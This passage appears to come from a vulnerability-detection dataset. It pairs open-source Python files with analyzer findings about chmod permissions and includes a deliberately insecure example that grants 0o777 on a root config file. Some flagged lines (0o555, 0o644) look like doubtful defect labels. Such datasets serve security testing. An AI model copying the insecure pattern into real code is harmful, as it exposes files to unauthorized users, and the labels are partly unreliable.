indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0,len(indexOrder)):\n s += \", size%s\" % indexChars[i]\n s += \");\\n\"\n\n s += \" auto solutionMapper = reinterpret_cast (masterSolutionMapper_%s.mapper());\\n\" \\\n % (problemType, problemType)\n if ptr:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s);\\n\" % problemType\n else:\n s += \" return solutionMapper->getSolutionWithFallback(pdims,&masterSolutionMapper_%s)->_info->_name;\\n\" % problemType\n\n return s\n\n\n################################################################################\n# Write Solution Call\n################################################################################\ndef writeSolutionCall(solutionName, problemType):\n indexChars = globalParameters[\"IndexChars\"]\n s = \"\"\n s += \"%s(\" % solutionName\n # solution parameters\n s += \" dataD, dataC, dataA, dataB, alpha\"\n if problemType[\"UseBeta\"]:\n s += \", beta\"\n s += \", offsetC, offsetA, offsetB\"\n firstStride = 1\n if problemType[\"UseInitialStrides\"]:\n firstStride = 0\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n s += \", strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsB\"][i]])\n for i in range(0, problemType[\"TotalIndices\"]):\n s += \", size%s\" % indexChars[i]\n s += \", stream, numInputEvents, inputEvents, outputEvent )\"\n return s\n\n\n\n\n################################################################################\n# Write CMake\n################################################################################\ndef writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName ):\n print1(\"# Writing Custom CMake\")\n ##############################################################################\n # Min Naming\n ##############################################################################\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"] :\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n generatedFile = open(os.path.join(outputPath, \"Generated.cmake\"), \"w\")\n generatedFile.write(CMakeHeader)\n generatedFile.write(\"set( TensileClient_SOLUTIONS\\n\")\n\n # write solution names\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions.cpp\\n\")\n else:\n for solution in solutions:\n solutionName = solutionWriter.getSolutionName(solution)\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.h\\n\" \\\n % (solutionName) )\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Solutions/%s.cpp\\n\" \\\n % (solutionName) )\n generatedFile.write(\" )\\n\")\n\n # write kernel names\n generatedFile.write(\"set( TensileClient_KERNELS\\n\")\n if globalParameters[\"MergeFiles\"]:\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.h\\n\")\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels.cpp\\n\")\n else:\n for kernel in kernels:\n kernelName = kernelWriterSource.getKernelName(kernel) if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly.getKernelName(kernel) \n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.h\\n\" % (kernelName))\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/Kernels/%s.cpp\\n\" % kernelName)\n generatedFile.write(\" )\\n\")\n\n\n generatedFile.write(\"set( TensileClient_SOURCE\\n\")\n for fileName in libraryStaticFiles:\n # copy file\n shutil.copy( os.path.join(globalParameters[\"SourcePath\"], fileName), \\\n outputPath )\n # add file to cmake\n generatedFile.write(\" ${CMAKE_SOURCE_DIR}/%s\\n\" % fileName)\n generatedFile.write(\" )\\n\\n\")\n\n # close generated cmake\n generatedFile.close()\n\n\n\n################################################################################\n# Tensile Create Library\n################################################################################\ndef TensileCreateLibrary():\n print1(\"\")\n print1(HR)\n print1(\"# Tensile Create Library\")\n print2(HR)\n print2(\"\")\n\n ##############################################################################\n # Parse Command Line Arguments\n ##############################################################################\n print2(\"Arguments: %s\" % sys.argv)\n argParser = argparse.ArgumentParser()\n argParser.add_argument(\"LogicPath\", help=\"Path to LibraryLogic.yaml files.\")\n argParser.add_argument(\"OutputPath\", help=\"Where to write library files?\")\n argParser.add_argument(\"RuntimeLanguage\", help=\"Which runtime language?\", choices=[\"OCL\", \"HIP\", \"HSA\"])\n argParser.add_argument(\"--cxx-compiler\", dest=\"CxxCompiler\", choices=[\"hcc\", \"hipcc\"], action=\"store\", default=\"hcc\")\n argParser.add_argument(\"--code-object-version\", dest=\"CodeObjectVersion\", choices=[\"V2\", \"V3\"], action=\"store\", default=\"V2\")\n argParser.add_argument(\"--merge-files\", dest=\"MergeFiles\", action=\"store_true\")\n argParser.add_argument(\"--no-merge-files\", dest=\"MergeFiles\", action=\"store_false\")\n argParser.add_argument(\"--short-file-names\", dest=\"ShortNames\", action=\"store_true\")\n argParser.add_argument(\"--no-short-file-names\", dest=\"ShortNames\", action=\"store_false\")\n argParser.add_argument(\"--library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_true\")\n argParser.add_argument(\"--no-library-print-debug\", dest=\"LibraryPrintDebug\", action=\"store_false\")\n argParser.add_argument(\"--embed-library\", dest=\"EmbedLibrary\",\n help=\"Embed (new) library files into static variables. Specify the name of the library.\")\n\n argParser.add_argument(\"--embed-library-key\", dest=\"EmbedLibraryKey\", default=None,\n help=\"Access key for embedding library files.\")\n args = argParser.parse_args()\n\n logicPath = args.LogicPath\n outputPath = args.OutputPath\n CxxCompiler = args.CxxCompiler\n print2(\"OutputPath: %s\" % outputPath)\n ensurePath(outputPath)\n arguments = {}\n arguments[\"RuntimeLanguage\"] = args.RuntimeLanguage\n arguments[\"CodeObjectVersion\"] = args.CodeObjectVersion\n arguments[\"CxxCompiler\"] = args.CxxCompiler\n arguments[\"MergeFiles\"] = args.MergeFiles\n arguments[\"ShortNames\"] = args.ShortNames\n arguments[\"LibraryPrintDebug\"] = args.LibraryPrintDebug\n arguments[\"CodeFromFiles\"] = False\n arguments[\"EmbedLibrary\"] = args.EmbedLibrary\n assignGlobalParameters(arguments)\n\n print1(\"# CodeObjectVersion from TensileCreateLibrary: %s\" % arguments[\"CodeObjectVersion\"])\n print1(\"# CxxCompiler from TensileCreateLibrary: %s\" % CxxCompiler)\n\n if not os.path.exists(logicPath):\n printExit(\"LogicPath %s doesn't exist\" % logicPath)\n\n logicFiles = [os.path.join(logicPath, f) for f in os.listdir(logicPath) \\\n if (os.path.isfile(os.path.join(logicPath, f)) \\\n and os.path.splitext(f)[1]==\".yaml\")]\n\n print1(\"# LibraryLogicFiles:\" % logicFiles)\n for logicFile in logicFiles:\n print1(\"# %s\" % logicFile)\n\n ##############################################################################\n # Parse config files\n ##############################################################################\n solutions = []\n logicData = {} # keys are problemTypes, values are schedules\n newMasterLibrary = None\n\n libraries = Common.ParallelMap(YAMLIO.readLibraryLogicForSchedule, logicFiles, \"Reading logic files\")\n\n for logic in Utils.tqdm(libraries, \"Processing logic data\"):\n (scheduleName, deviceNames, problemType, solutionsForSchedule, \\\n indexOrder, exactLogic, rangeLogic, newLibrary) = logic\n\n if problemType not in logicData:\n logicData[problemType] = []\n logicData[problemType].append((scheduleName, deviceNames, \\\n solutionsForSchedule, indexOrder, exactLogic, rangeLogic ))\n for solution in solutionsForSchedule:\n if solution not in solutions:\n solutions.append(solution)\n\n if newMasterLibrary is None:\n newMasterLibrary = newLibrary\n else:\n newMasterLibrary.merge(newLibrary)\n\n # create solution writer and kernel writer\n kernels = []\n kernelsBetaOnly = []\n for solution in solutions:\n solutionKernels = solution.getKernels()\n for kernel in solutionKernels:\n if kernel not in kernels:\n kernels.append(kernel)\n solutionKernelsBetaOnly = solution.getKernelsBetaOnly()\n for kernel in solutionKernelsBetaOnly:\n if kernel not in kernelsBetaOnly:\n kernelsBetaOnly.append(kernel)\n\n # if any kernels are assembly, append every ISA supported\n\n if globalParameters[\"ShortNames\"] and not globalParameters[\"MergeFiles\"]:\n solutionSerialNaming = Solution.getSerialNaming(solutions)\n kernelSerialNaming = Solution.getSerialNaming(kernels)\n else:\n solutionSerialNaming = None\n kernelSerialNaming = None\n solutionMinNaming = Solution.getMinNaming(solutions)\n kernelMinNaming = Solution.getMinNaming(kernels)\n solutionWriter = SolutionWriter( \\\n solutionMinNaming, solutionSerialNaming, \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterSource = KernelWriterSource( \\\n kernelMinNaming, kernelSerialNaming)\n kernelWriterAssembly = KernelWriterAssembly( \\\n kernelMinNaming, kernelSerialNaming)\n\n libraryStaticFiles = [\n \"SolutionMapper.h\",\n \"TensileTypes.h\",\n \"tensile_bfloat16.h\",\n \"KernelHeader.h\",\n \"SolutionHelper.cpp\",\n \"SolutionHelper.h\",\n \"Tools.cpp\",\n \"Tools.h\" ]\n\n # write cmake\n clientName = \"LibraryClient\"\n writeCMake(outputPath, solutions, kernels, libraryStaticFiles, clientName )\n\n # write solutions and kernels\n problemTypes = list(logicData.keys())\n codeObjectFiles = writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions,\n kernels, kernelsBetaOnly,\n solutionWriter,\n kernelWriterSource, kernelWriterAssembly)\n\n # write logic\n writeLogic(outputPath, logicData, solutionWriter)\n\n newLibraryDir = ensurePath(os.path.join(outputPath, 'library'))\n \n masterFile = os.path.join(newLibraryDir, \"TensileLibrary.yaml\")\n newMasterLibrary.applyNaming(kernelMinNaming)\n YAMLIO.write(masterFile, Utils.state(newMasterLibrary))\n\n if args.EmbedLibrary is not None:\n embedFileName = os.path.join(outputPath, \"library/{}.cpp\".format(args.EmbedLibrary))\n with EmbeddedData.EmbeddedDataFile(embedFileName) as embedFile:\n embedFile.embed_file(newMasterLibrary.cpp_base_class, masterFile, nullTerminated=True,\n key=args.EmbedLibraryKey)\n\n for co in Utils.tqdm(codeObjectFiles):\n embedFile.embed_file(\"SolutionAdapter\", co, nullTerminated=False,\n key=args.EmbedLibraryKey)\n\n print1(\"# Tensile Library Writer DONE\")\n print1(HR)\n print1(\"\")\n", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 216, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "5b2ad5cc0eef7597b6e85c717ce6b3b0eedea00ce13983b84ac3d390ed8b597a", "license": {"spdx": ["Apache-2.0"], "repo": "ianpartridge/incubator-openwhisk-runtime-swift", "path": "core/swift3.1.1Action/swift3runner.py", "repo_head_hexsha": "5aacba1435f46b13cbb0a70874afb4b53c1a78bc", "stack_hexsha": "f41456d2af09359f55da03d5a94e013a18221147", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 76, "entireCode": "\"\"\"Python proxy to run Swift action.\n\n/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\"\"\"\nimport os\nimport glob\nimport sys\nimport subprocess\nimport codecs\nimport json\nsys.path.append('../actionProxy')\nfrom actionproxy import ActionRunner, main, setRunner # noqa\n\nSRC_EPILOGUE_FILE = '/swift3Action/epilogue.swift'\nDEST_SCRIPT_FILE = '/swift3Action/spm-build/main.swift'\nDEST_SCRIPT_DIR = '/swift3Action/spm-build'\nDEST_BIN_FILE = '/swift3Action/spm-build/.build/release/Action'\n\nBUILD_PROCESS = ['./swiftbuildandlink.sh']\n\n\nclass Swift3Runner(ActionRunner):\n\n def __init__(self):\n ActionRunner.__init__(self, DEST_SCRIPT_FILE, DEST_BIN_FILE)\n\n # remove pre-existing binary before receiving a new binary\n def preinit(self):\n try:\n os.remove(self.binary)\n except: pass\n\n def epilogue(self, init_message):\n # skip if executable already exists (was unzipped)\n if os.path.isfile(self.binary):\n return\n\n if 'main' in init_message:\n main_function = init_message['main']\n else:\n main_function = 'main'\n # make sure there is a main.swift file\n open(DEST_SCRIPT_FILE, 'a').close()\n\n with codecs.open(DEST_SCRIPT_FILE, 'a', 'utf-8') as fp:\n os.chdir(DEST_SCRIPT_DIR)\n for file in glob.glob(\"*.swift\"):\n if file not in [\"Package.swift\", \"main.swift\", \"_WhiskJSONUtils.swift\", \"_Whisk.swift\"]:\n with codecs.open(file, 'r', 'utf-8') as f:\n fp.write(f.read())\n with codecs.open(SRC_EPILOGUE_FILE, 'r', 'utf-8') as ep:\n fp.write(ep.read())\n\n fp.write('_run_main(mainFunction: %s)\\n' % main_function)\n\n def build(self, init_message):\n # short circuit the build, if there already exists a binary\n # from the zip file\n if os.path.isfile(self.binary):\n # file may not have executable permission, set it\n os.chmod(self.binary, 0o555)\n return\n\n p = subprocess.Popen(\n BUILD_PROCESS,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=DEST_SCRIPT_DIR)\n\n # run the process and wait until it completes.\n # stdout/stderr will not be None because we passed PIPEs to Popen\n (o, e) = p.communicate()\n\n # stdout/stderr may be either text or bytes, depending on Python\n # version, so if bytes, decode to text. Note that in Python 2\n # a string will match both types; so also skip decoding in that case\n if isinstance(o, bytes) and not isinstance(o, str):\n o = o.decode('utf-8')\n if isinstance(e, bytes) and not isinstance(e, str):\n e = e.decode('utf-8')\n\n if o:\n sys.stdout.write(o)\n sys.stdout.flush()\n\n if e:\n sys.stderr.write(e)\n sys.stderr.flush()\n\n def env(self, message):\n env = ActionRunner.env(self, message)\n args = message.get('value', {}) if message else {}\n env['WHISK_INPUT'] = json.dumps(args)\n return env\n\n\nif __name__ == '__main__':\n setRunner(Swift3Runner())\n main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "75"}}, {"lineNo": 76, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "8d85c947b56cf301d23f96f21013b2ab08ec6999333130b81bc3873ce854d099", "license": {"spdx": ["Apache-2.0"], "repo": "nobuto-m/charm-helpers", "path": "charmhelpers/contrib/charmsupport/nrpe.py", "repo_head_hexsha": "4cffc05ace43234d34b040cccdde3460f68cb673", "stack_hexsha": "a3d89936d8b1b9966571e7248379800a7bb8190c", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 441, "entireCode": "# Copyright 2014-2015 Canonical Limited.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Compatibility with the nrpe-external-master charm\"\"\"\n# Copyright 2012 Canonical Ltd.\n#\n# Authors:\n# <>\n\nimport subprocess\nimport pwd\nimport grp\nimport os\nimport glob\nimport shutil\nimport re\nimport shlex\nimport yaml\n\nfrom charmhelpers.core.hookenv import (\n config,\n hook_name,\n local_unit,\n log,\n relation_get,\n relation_ids,\n relation_set,\n relations_of_type,\n)\n\nfrom charmhelpers.core.host import service\nfrom charmhelpers.core import host\n\n# This module adds compatibility with the nrpe-external-master and plain nrpe\n# subordinate charms. To use it in your charm:\n#\n# 1. Update metadata.yaml\n#\n# provides:\n# (...)\n# nrpe-external-master:\n# interface: nrpe-external-master\n# scope: container\n#\n# and/or\n#\n# provides:\n# (...)\n# local-monitors:\n# interface: local-monitors\n# scope: container\n\n#\n# 2. Add the following to config.yaml\n#\n# nagios_context:\n# default: \"juju\"\n# type: string\n# description: |\n# Used by the nrpe subordinate charms.\n# A string that will be prepended to instance name to set the host name\n# in nagios. So for instance the hostname would be something like:\n# juju-myservice-0\n# If you're running multiple environments with the same services in them\n# this allows you to differentiate between them.\n# nagios_servicegroups:\n# default: \"\"\n# type: string\n# description: |\n# A comma-separated list of nagios servicegroups.\n# If left empty, the nagios_context will be used as the servicegroup\n#\n# 3. Add custom checks (Nagios plugins) to files/nrpe-external-master\n#\n# 4. Update your hooks.py with something like this:\n#\n# from charmsupport.nrpe import NRPE\n# (...)\n# def update_nrpe_config():\n# nrpe_compat = NRPE()\n# nrpe_compat.add_check(\n# shortname = \"myservice\",\n# description = \"Check MyService\",\n# check_cmd = \"check_http -w 2 -c 10 http://localhost\"\n# )\n# nrpe_compat.add_check(\n# \"myservice_other\",\n# \"Check for widget failures\",\n# check_cmd = \"/srv/myapp/scripts/widget_check\"\n# )\n# nrpe_compat.write()\n#\n# def config_changed():\n# (...)\n# update_nrpe_config()\n#\n# def nrpe_external_master_relation_changed():\n# update_nrpe_config()\n#\n# def local_monitors_relation_changed():\n# update_nrpe_config()\n#\n# 4.a If your charm is a subordinate charm set primary=False\n#\n# from charmsupport.nrpe import NRPE\n# (...)\n# def update_nrpe_config():\n# nrpe_compat = NRPE(primary=False)\n#\n# 5. ln -s hooks.py nrpe-external-master-relation-changed\n# ln -s hooks.py local-monitors-relation-changed\n\n\nclass CheckException(Exception):\n pass\n\n\nclass Check(object):\n shortname_re = '[A-Za-z0-9-_.@]+$'\n service_template = (\"\"\"\n#---------------------------------------------------\n# This file is Juju managed\n#---------------------------------------------------\ndefine service {{\n use active-service\n host_name {nagios_hostname}\n service_description {nagios_hostname}[{shortname}] \"\"\"\n \"\"\"{description}\n check_command check_nrpe!{command}\n servicegroups {nagios_servicegroup}\n}}\n\"\"\")\n\n def __init__(self, shortname, description, check_cmd):\n super(Check, self).__init__()\n # XXX: could be better to calculate this from the service name\n if not re.match(self.shortname_re, shortname):\n raise CheckException(\"shortname must match {}\".format(\n Check.shortname_re))\n self.shortname = shortname\n self.command = \"check_{}\".format(shortname)\n # Note: a set of invalid characters is defined by the\n # Nagios server config\n # The default is: illegal_object_name_chars=`~!$%^&*\"|'<>?,()=\n self.description = description\n self.check_cmd = self._locate_cmd(check_cmd)\n\n def _get_check_filename(self):\n return os.path.join(NRPE.nrpe_confdir, '{}.cfg'.format(self.command))\n\n def _get_service_filename(self, hostname):\n return os.path.join(NRPE.nagios_exportdir,\n 'service__{}_{}.cfg'.format(hostname, self.command))\n\n def _locate_cmd(self, check_cmd):\n search_path = (\n '/usr/lib/nagios/plugins',\n '/usr/local/lib/nagios/plugins',\n )\n parts = shlex.split(check_cmd)\n for path in search_path:\n if os.path.exists(os.path.join(path, parts[0])):\n command = os.path.join(path, parts[0])\n if len(parts) > 1:\n command += \" \" + \" \".join(parts[1:])\n return command\n log('Check command not found: {}'.format(parts[0]))\n return ''\n\n def _remove_service_files(self):\n if not os.path.exists(NRPE.nagios_exportdir):\n return\n for f in os.listdir(NRPE.nagios_exportdir):\n if f.endswith('_{}.cfg'.format(self.command)):\n os.remove(os.path.join(NRPE.nagios_exportdir, f))\n\n def remove(self, hostname):\n nrpe_check_file = self._get_check_filename()\n if os.path.exists(nrpe_check_file):\n os.remove(nrpe_check_file)\n self._remove_service_files()\n\n def write(self, nagios_context, hostname, nagios_servicegroups):\n nrpe_check_file = self._get_check_filename()\n with open(nrpe_check_file, 'w') as nrpe_check_config:\n nrpe_check_config.write(\"# check {}\\n\".format(self.shortname))\n if nagios_servicegroups:\n nrpe_check_config.write(\n \"# The following header was added automatically by juju\\n\")\n nrpe_check_config.write(\n \"# Modifying it will affect nagios monitoring and alerting\\n\")\n nrpe_check_config.write(\n \"# servicegroups: {}\\n\".format(nagios_servicegroups))\n nrpe_check_config.write(\"command[{}]={}\\n\".format(\n self.command, self.check_cmd))\n\n if not os.path.exists(NRPE.nagios_exportdir):\n log('Not writing service config as {} is not accessible'.format(\n NRPE.nagios_exportdir))\n else:\n self.write_service_config(nagios_context, hostname,\n nagios_servicegroups)\n\n def write_service_config(self, nagios_context, hostname,\n nagios_servicegroups):\n self._remove_service_files()\n\n templ_vars = {\n 'nagios_hostname': hostname,\n 'nagios_servicegroup': nagios_servicegroups,\n 'description': self.description,\n 'shortname': self.shortname,\n 'command': self.command,\n }\n nrpe_service_text = Check.service_template.format(**templ_vars)\n nrpe_service_file = self._get_service_filename(hostname)\n with open(nrpe_service_file, 'w') as nrpe_service_config:\n nrpe_service_config.write(str(nrpe_service_text))\n\n def run(self):\n subprocess.call(self.check_cmd)\n\n\nclass NRPE(object):\n nagios_logdir = '/var/log/nagios'\n nagios_exportdir = '/var/lib/nagios/export'\n nrpe_confdir = '/etc/nagios/nrpe.d'\n homedir = '/var/lib/nagios' # home dir provided by nagios-nrpe-server\n\n def __init__(self, hostname=None, primary=True):\n super(NRPE, self).__init__()\n self.config = config()\n self.primary = primary\n self.nagios_context = self.config['nagios_context']\n if 'nagios_servicegroups' in self.config and self.config['nagios_servicegroups']:\n self.nagios_servicegroups = self.config['nagios_servicegroups']\n else:\n self.nagios_servicegroups = self.nagios_context\n self.unit_name = local_unit().replace('/', '-')\n if hostname:\n self.hostname = hostname\n else:\n nagios_hostname = get_nagios_hostname()\n if nagios_hostname:\n self.hostname = nagios_hostname\n else:\n self.hostname = \"{}-{}\".format(self.nagios_context, self.unit_name)\n self.checks = []\n # Iff in an nrpe-external-master relation hook, set primary status\n relation = relation_ids('nrpe-external-master')\n if relation:\n log(\"Setting charm primary status {}\".format(primary))\n for rid in relation:\n relation_set(relation_id=rid, relation_settings={'primary': self.primary})\n self.remove_check_queue = set()\n\n def add_check(self, *args, **kwargs):\n shortname = None\n if kwargs.get('shortname') is None:\n if len(args) > 0:\n shortname = args[0]\n else:\n shortname = kwargs['shortname']\n\n self.checks.append(Check(*args, **kwargs))\n try:\n self.remove_check_queue.remove(shortname)\n except KeyError:\n pass\n\n def remove_check(self, *args, **kwargs):\n if kwargs.get('shortname') is None:\n raise ValueError('shortname of check must be specified')\n\n # Use sensible defaults if they're not specified - these are not\n # actually used during removal, but they're required for constructing\n # the Check object; check_disk is chosen because it's part of the\n # nagios-plugins-basic package.\n if kwargs.get('check_cmd') is None:\n kwargs['check_cmd'] = 'check_disk'\n if kwargs.get('description') is None:\n kwargs['description'] = ''\n\n check = Check(*args, **kwargs)\n check.remove(self.hostname)\n self.remove_check_queue.add(kwargs['shortname'])\n\n def write(self):\n try:\n nagios_uid = pwd.getpwnam('nagios').pw_uid\n nagios_gid = grp.getgrnam('nagios').gr_gid\n except Exception:\n log(\"Nagios user not set up, nrpe checks not updated\")\n return\n\n if not os.path.exists(NRPE.nagios_logdir):\n os.mkdir(NRPE.nagios_logdir)\n os.chown(NRPE.nagios_logdir, nagios_uid, nagios_gid)\n\n nrpe_monitors = {}\n monitors = {\"monitors\": {\"remote\": {\"nrpe\": nrpe_monitors}}}\n for nrpecheck in self.checks:\n nrpecheck.write(self.nagios_context, self.hostname,\n self.nagios_servicegroups)\n nrpe_monitors[nrpecheck.shortname] = {\n \"command\": nrpecheck.command,\n }\n\n # update-status hooks are configured to firing every 5 minutes by\n # default. When nagios-nrpe-server is restarted, the nagios server\n # reports checks failing causing unnecessary alerts. Let's not restart\n # on update-status hooks.\n if not hook_name() == 'update-status':\n service('restart', 'nagios-nrpe-server')\n\n monitor_ids = relation_ids(\"local-monitors\") + \\\n relation_ids(\"nrpe-external-master\")\n for rid in monitor_ids:\n reldata = relation_get(unit=local_unit(), rid=rid)\n if 'monitors' in reldata:\n # update the existing set of monitors with the new data\n old_monitors = yaml.safe_load(reldata['monitors'])\n old_nrpe_monitors = old_monitors['monitors']['remote']['nrpe']\n # remove keys that are in the remove_check_queue\n old_nrpe_monitors = {k: v for k, v in old_nrpe_monitors.items()\n if k not in self.remove_check_queue}\n # update/add nrpe_monitors\n old_nrpe_monitors.update(nrpe_monitors)\n old_monitors['monitors']['remote']['nrpe'] = old_nrpe_monitors\n # write back to the relation\n relation_set(relation_id=rid, monitors=yaml.dump(old_monitors))\n else:\n # write a brand new set of monitors, as no existing ones.\n relation_set(relation_id=rid, monitors=yaml.dump(monitors))\n\n self.remove_check_queue.clear()\n\n\ndef get_nagios_hostcontext(relation_name='nrpe-external-master'):\n \"\"\"\n Query relation with nrpe subordinate, return the nagios_host_context\n\n :param str relation_name: Name of relation nrpe sub joined to\n \"\"\"\n for rel in relations_of_type(relation_name):\n if 'nagios_host_context' in rel:\n return rel['nagios_host_context']\n\n\ndef get_nagios_hostname(relation_name='nrpe-external-master'):\n \"\"\"\n Query relation with nrpe subordinate, return the nagios_hostname\n\n :param str relation_name: Name of relation nrpe sub joined to\n \"\"\"\n for rel in relations_of_type(relation_name):\n if 'nagios_hostname' in rel:\n return rel['nagios_hostname']\n\n\ndef get_nagios_unit_name(relation_name='nrpe-external-master'):\n \"\"\"\n Return the nagios unit name prepended with host_context if needed\n\n :param str relation_name: Name of relation nrpe sub joined to\n \"\"\"\n host_context = get_nagios_hostcontext(relation_name)\n if host_context:\n unit = \"%s:%s\" % (host_context, local_unit())\n else:\n unit = local_unit()\n return unit\n\n\ndef add_init_service_checks(nrpe, services, unit_name, immediate_check=True):\n \"\"\"\n Add checks for each service in list\n\n :param NRPE nrpe: NRPE object to add check to\n :param list services: List of services to check\n :param str unit_name: Unit name to use in check description\n :param bool immediate_check: For sysv init, run the service check immediately\n \"\"\"\n for svc in services:\n # Don't add a check for these services from neutron-gateway\n if svc in ['ext-port', 'os-charm-phy-nic-mtu']:\n next\n\n upstart_init = '/etc/init/%s.conf' % svc\n sysv_init = '/etc/init.d/%s' % svc\n\n if host.init_is_systemd():\n nrpe.add_check(\n shortname=svc,\n description='process check {%s}' % unit_name,\n check_cmd='check_systemd.py %s' % svc\n )\n elif os.path.exists(upstart_init):\n nrpe.add_check(\n shortname=svc,\n description='process check {%s}' % unit_name,\n check_cmd='check_upstart_job %s' % svc\n )\n elif os.path.exists(sysv_init):\n cronpath = '/etc/cron.d/nagios-service-check-%s' % svc\n checkpath = '%s/service-check-%s.txt' % (nrpe.homedir, svc)\n croncmd = (\n '/usr/local/lib/nagios/plugins/check_exit_status.pl '\n '-e -s /etc/init.d/%s status' % svc\n )\n cron_file = '*/5 * * * * root %s > %s\\n' % (croncmd, checkpath)\n f = open(cronpath, 'w')\n f.write(cron_file)\n f.close()\n nrpe.add_check(\n shortname=svc,\n description='service check {%s}' % unit_name,\n check_cmd='check_status_file.py -f %s' % checkpath,\n )\n # if /var/lib/nagios doesn't exist open(checkpath, 'w') will fail\n # (LP: #1670223).\n if immediate_check and os.path.isdir(nrpe.homedir):\n f = open(checkpath, 'w')\n subprocess.call(\n croncmd.split(),\n stdout=f,\n stderr=subprocess.STDOUT\n )\n f.close()\n os.chmod(checkpath, 0o644)\n\n\ndef copy_nrpe_checks(nrpe_files_dir=None):\n \"\"\"\n Copy the nrpe checks into place\n\n \"\"\"\n NAGIOS_PLUGINS = '/usr/local/lib/nagios/plugins'\n if nrpe_files_dir is None:\n # determine if 